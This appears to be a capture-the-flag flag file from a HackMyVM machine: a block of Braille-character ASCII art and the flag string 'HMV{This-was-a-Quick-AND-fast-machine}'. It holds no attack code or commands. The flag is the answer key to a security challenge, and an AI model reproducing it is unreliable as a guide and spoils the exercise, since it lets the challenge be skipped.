⠂⠐⠀⠀⠂⠀⢀⣴⣿⣿⢁⣽⠋⠀⠀⠀⠀⠀⢀⣠⣼⠞⠛⠉⠀⠄⠀⣀⣤⡶⠛⠉⠁⠀⠀⠀⠀⠀⠀⣀⣴⠞⠋⠀⠀⣀⣤⣶⣿⣿⡿⠿⠛⣙⣃⣤⡴⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡴⠾⠛⠷⢾⣄⠀⢩⣿⠉⢻⣿⣤⣴⠿⠞⠛⠉⠁⠀⠀⠀⠀⠉⠁⠀⠀⣾⠁⠀⠀⠀⠀⢠⡿⠀⠈⠙⠳⣤⡾⣹⣶⣶⣄⠈⣿⣿⣧⢀
⠅⠠⠀⠁⢀⣰⣿⣿⣿⢷⣿⠁⠀⠀⠈⢀⣠⡾⠛⠉⠀⠀⠀⠈⢀⣠⠾⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠄⠀⣀⣴⣾⣿⣿⣿⣿⣷⡟⠚⢛⣫⠟⠋⠀⠀⠀⠀⠀⠀⠀⢀⣀⣰⡿⠋⢠⣀⣀⠀⠀⠙⣧⣾⣿⠷⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡿⠀⠀⠀⠀⠀⣾⠃⠀⠀⠀⢀⣿⣿⣿⢿⣸⢻⣷⡿⣿⣏⢸
⠀⠐⠀⣰⣿⣿⣿⣿⣿⣿⣃⡀⢀⣤⢞⠋⠁⠀⠀⠀⠀⡀⣤⡶⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⣀⣀⣴⡟⠛⠉⠉⠉⣿⣿⣱⣿⣤⡴⠛⠁⠀⢀⣀⣠⣤⣤⡶⠶⠟⠛⢻⡟⠂⣼⠿⡟⣿⠳⣦⠀⢹⣯⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⠀⠀⠀⢲⡟⠀⠀⠀⢀⣿⣿⣿⣿⣿⣏⣿⣹⣿⣿⣿⢘
⠀⢠⣶⣿⣿⡿⢿⣿⠯⠀⣹⡿⠛⠛⠛⠛⠷⠶⣶⣾⣿⠟⠻⠶⠶⠶⠶⠶⠶⠶⠶⠶⠟⠻⣿⣿⠛⠉⠉⠉⠙⢷⣄⣀⣠⣴⣿⣻⣽⣿⠭⠶⠞⠛⡋⣭⣭⣍⣀⣧⡌⠀⠀⣰⡿⠉⣼⣧⣘⣇⢹⣠⣿⣧⠀⣿⣽⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⠀⠀⠀⠀⢀⣿⠃⠀⠀⢠⣾⣿⣿⣿⡿⣿⡿⠛⠋⣿⣿⡏⠀
⠀⣸⣿⠄⠀⢠⣾⢃⣠⡿⠋⠀⠀⠀⠄⠀⠀⢰⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠃⠀⠀⣀⣤⡴⠞⠛⠉⠹⠫⣯⣽⣿⣯⣦⡴⠶⠞⠛⠛⠛⠉⠉⠋⣷⣶⣶⣿⣿⣥⣲⡇⠈⢻⣿⣿⡟⣠⡿⡇⢻⢼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡿⠀⠀⠀⠀⢠⣿⣏⣀⠀⠀⣼⡿⣿⢸⣿⡇⠸⣧⣴⡾⢿⣿⡷⠀
⠀⢹⣿⣳⣶⣼⣗⣸⣷⠶⣦⣤⣀⣀⣀⡀⢰⡟⠁⢀⣀⣀⣀⣀⣀⣀⣠⣀⣤⣤⣤⣾⣟⣅⣤⣶⣿⢯⠶⠶⡶⣖⡻⣿⣿⣿⣯⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⣸⣟⢹⣿⠻⣦⣸⣿⡻⣿⣿⣀⣷⢸⣺⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⠖⣿⣇⣀⣀⣤⠞⠛⠁⠈⠍⠛⢺⣿⣶⡏⢸⡿⣧⢠⡟⠛⠻⣾⣿⡏⠀
⠀⢸⣿⠀⡀⠈⠙⠻⢿⣧⠀⠀⠀⠉⠉⠉⠛⠙⠋⠉⠉⠉⠉⠉⠉⠉⠁⠈⢀⠀⢹⡟⠛⣯⣽⣦⡷⠶⠶⠟⠛⠛⠉⠉⠉⢿⡉⠳⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡧⢸⣿⠀⣽⣿⣿⣿⣿⠁⠉⣿⣾⣿⡇⠀⠀⠀⢀⣠⣤⣶⣶⣿⣿⣿⣿⠷⠿⠟⠛⠛⠉⠀⠀⠀⠀⠈⠀⠀⠀⣿⢹⡇⢸⣷⣿⣿⢿⣦⡀⣿⣿⠂⠀
⠀⢸⣿⡀⠇⡍⢠⢀⠀⠈⢷⡄⠀⠀⠀⠀⠀⠀⠀⠐⠈⠀⠀⠀⠀⠀⠀⠀⠀⠆⢸⣗⢰⣿⠀⢹⡄⠀⠀⠀⠀⠀⠐⠀⠀⠘⢷⡄⠙⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣹⠁⢸⢿⡞⠋⢙⣿⣡⣾⣿⠉⣿⣿⣿⣷⣶⣿⣿⠿⠿⠛⠋⠉⠉⠁⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⢸⡇⠘⢿⣿⣿⡌⣿⣹⣿⡏⠀⠀
⠀⢸⣿⣇⡆⠀⠐⠈⠀⣀⣾⣻⣶⣶⣶⣶⣶⣶⣶⣶⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣼⣿⠛⠻⣆⠈⢷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡄⠀⠹⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠈⣾⣇⣠⣾⣿⣻⣇⠘⣷⣿⣿⠋⢿⡿⣿⣶⣶⣶⣶⣶⣶⣶⣶⣦⣤⣤⣤⣤⣤⣠⣀⡀⣀⣀⣀⣀⣠⣤⣾⣿⣿⠇⠀⠈⢿⣧⣿⣾⣟⡿⠀⠀⠀
⠀⢸⣿⡍⠟⠷⠶⣤⣼⣿⣿⠿⠿⠿⠿⠿⠿⢿⢿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠙⣧⡀⠙⢶⣶⣶⣿⣟⣿⣟⣟⣚⣓⣿⣤⡼⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⢿⡉⢀⡟⢸⡟⣿⣿⣿⡏⠀⠈⣷⣤⣤⣽⣿⣿⣿⣿⡿⠿⠿⠿⠿⠿⠟⠛⠛⠛⠛⠙⠙⠉⠉⠉⠉⠿⢯⣌⣀⣀⣀⣀⣉⣿⣽⡿⠁⠀⠀⠀
⠀⠘⠻⢷⣶⣦⣶⣿⣿⣿⣿⣛⣛⡛⡻⢟⠿⠻⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⣿⠿⣿⣗⠀⠀⠈⠿⢛⢩⢏⡉⣉⣉⢉⣍⣙⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠈⠿⣾⡇⣸⣡⣿⣷⠟⠛⠛⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀
⠀⢠⠀⠀⠀⠀⠉⠉⠉⠉⠙⠻⠿⢿⣽⣿⣿⣿⣿⣿⣿⡿⠖⠳⠶⠶⠶⠿⠿⠶⠶⠼⠿⠿⠿⠿⠿⠿⠿⠿⠿⠽⠯⠿⠿⠿⠶⠶⠶⠶⠶⠚⠚⠛⠛⠛⠛⠛⠛⠛⠛⠛⠻⣆⡀⠀⠀⠀⠉⠙⢻⣭⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⢀⠀⡀⡀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡛⠲⠶⢶⣶⣾⣿⣋⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

                  HMV{This-was-a-Quick-AND-fast-machine}